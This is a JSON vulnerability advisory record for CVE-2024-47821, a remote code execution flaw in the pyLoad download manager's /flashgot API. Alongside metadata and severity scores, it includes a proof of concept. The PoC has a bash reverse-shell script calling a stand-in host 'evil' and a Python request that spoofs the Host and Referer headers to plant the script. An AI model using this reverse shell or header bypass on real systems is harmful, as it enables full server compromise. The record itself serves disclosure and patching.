{"id":"CVE-2024-47821","aliases":["CVE-2024-47821","GHSA-w7hq-f2pj-c53g","PYSEC-2024-302"],"related":[],"kind":"vulnerability","state":"published","title":"pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API","summary":"pyLoad is a free and open-source Download Manager. The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved in versions prior to 0.5.0b3.dev87. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file. This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system. Version 0.5.0b3.dev87 fixes this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"pyLoad is a free and open-source Download Manager. The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved in versions prior to 0.5.0b3.dev87. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file. This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system. Version 0.5.0b3.dev87 fixes this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file.\n\n### Details\n\n**Configuration changes**\n1. Change the download folder to `/home/<user>/.pyload/scripts`\n2. Change permissions for downloaded files:\n    1. Change permissions of downloads: on\n    2. Permission mode for downloaded files: 0744\n\n**Making the request to download files**\n\nThe `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.\n\n*Referer header check*\n```\ndef flashgot():\n    if flask.request.referrer not in (\n        \"http://localhost:9666/flashgot\",\n        \"http://127.0.0.1:9666/flashgot\",\n    ):\n        flask.abort(500)\n  ...\n```\n*Host header check for local check*\n```\ndef local_check(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n        http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n        if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n            \"127.0.0.1:9666\",\n            \"[::1]:9666\",\n        ):\n            return func(*args, **kwargs)\n        else:\n            return \"Forbidden\", 403\n\n    return wrapper\n```\n\nOnce the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed\n\n\n### PoC\nCreate a malicious file. I have created a reverse shell\n```\n#!/bin/bash\nbash -i >& /dev/tcp/evil/9002 0>&1\n```\n\nHost this file at some URL, for eg: http://evil\n\nCreate a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed.\n```\nimport requests\n\nurl = \"http://pyload/flashgot\"\nheaders = {\"host\": \"127.0.0.1:9666\", \"Referer\": \"http://127.0.0.1:9666/flashgot\"}\n\ndata = {\n    \"package\": \"download_finished\",  \n    \"passwords\": \"optional_password\",  \n    \"urls\": \"http://evil/exp.sh\",\n    \"autostart\": 1,\n}\n\n\nresponse = requests.post(url, data=data, headers=headers)\n```\nWhen the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.\n\nI also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine\n\n### Screenshots\n*Download folder*\n\n<img width=\"672\" alt=\"1\" src=\"https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76\">\n\n*`exp.sh` is downloaded*\n\n<img width=\"714\" alt=\"2\" src=\"https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec\">\n\n*Script is run*\n\n<img width=\"714\" alt=\"3\" src=\"https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9\">\n\n*Reverse shell connection is received*\n\n<img width=\"314\" alt=\"4\" src=\"https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800\">\n\n\n### Impact\nThis vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system","format":"markdown","source":"ghsa"},{"lang":"es","text":"pyLoad es un gestor de descargas gratuito y de código abierto. La carpeta `/.pyload/scripts` contiene scripts que se ejecutan cuando se completan determinadas acciones, por ejemplo, cuando finaliza una descarga. Al descargar un archivo ejecutable en una carpeta en /scripts y realizar la acción correspondiente, se puede lograr la ejecución remota de código en versiones de la rama 0.5 anteriores a 0.5.0b3.dev87. Se puede descargar un archivo en una carpeta de este tipo cambiando la carpeta de descarga a una carpeta en la ruta `/scripts` y utilizando la API `/flashgot` para descargar el archivo. Esta vulnerabilidad permite a un atacante con acceso cambiar la configuración en un servidor pyload para ejecutar código arbitrario y comprometer por completo el sistema. La versión 0.5.0b3.dev87 soluciona este problema.","source":"nvd"}],"published":"2024-10-25T22:48:57.950Z","modified":"2026-06-17T07:57:48.903Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N","score":2.3,"rating":"LOW"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N","score":2.3,"rating":"LOW"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 0.5.0b3.dev87","status":"affected"}],"vendor":"pyload","product":"pyload","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"0.5.0b3.dev87","status":"affected"}],"vendor":"pyload","product":"pyload","cpe":"cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.5.0b3.dev87"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"ghsa"},{"ranges":[{"status":"affected","version":"0.5.0"}],"vendor":"pyload","product":"pyload","cpe":"cpe:2.3:a:pyload:pyload:0.5.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"0.5.0"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"pysec"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47821","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pyload/pyload","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-302.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-10-28T17:19:04.341Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-47821","url":"https://www.cve.org/CVERecord?id=CVE-2024-47821","licence":"CVE Terms of Use","modified":"2024-10-28T19:41:54.018Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w7hq-f2pj-c53g","url":"https://github.com/advisories/GHSA-w7hq-f2pj-c53g","licence":"CC-BY-4.0","modified":"2026-06-08T19:15:12.488Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-47821","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47821","licence":"Public domain","modified":"2026-06-17T07:57:48.903Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2024-302","url":"https://osv.dev/vulnerability/PYSEC-2024-302","licence":"CC-BY-4.0","modified":"2026-05-21T15:00:28.414Z"}],"updatedAt":"2026-11-25T22:58:47.354Z","epss":{"score":0.00676,"percentile":0.5351,"date":"2026-12-01T12:00:22.000Z"}}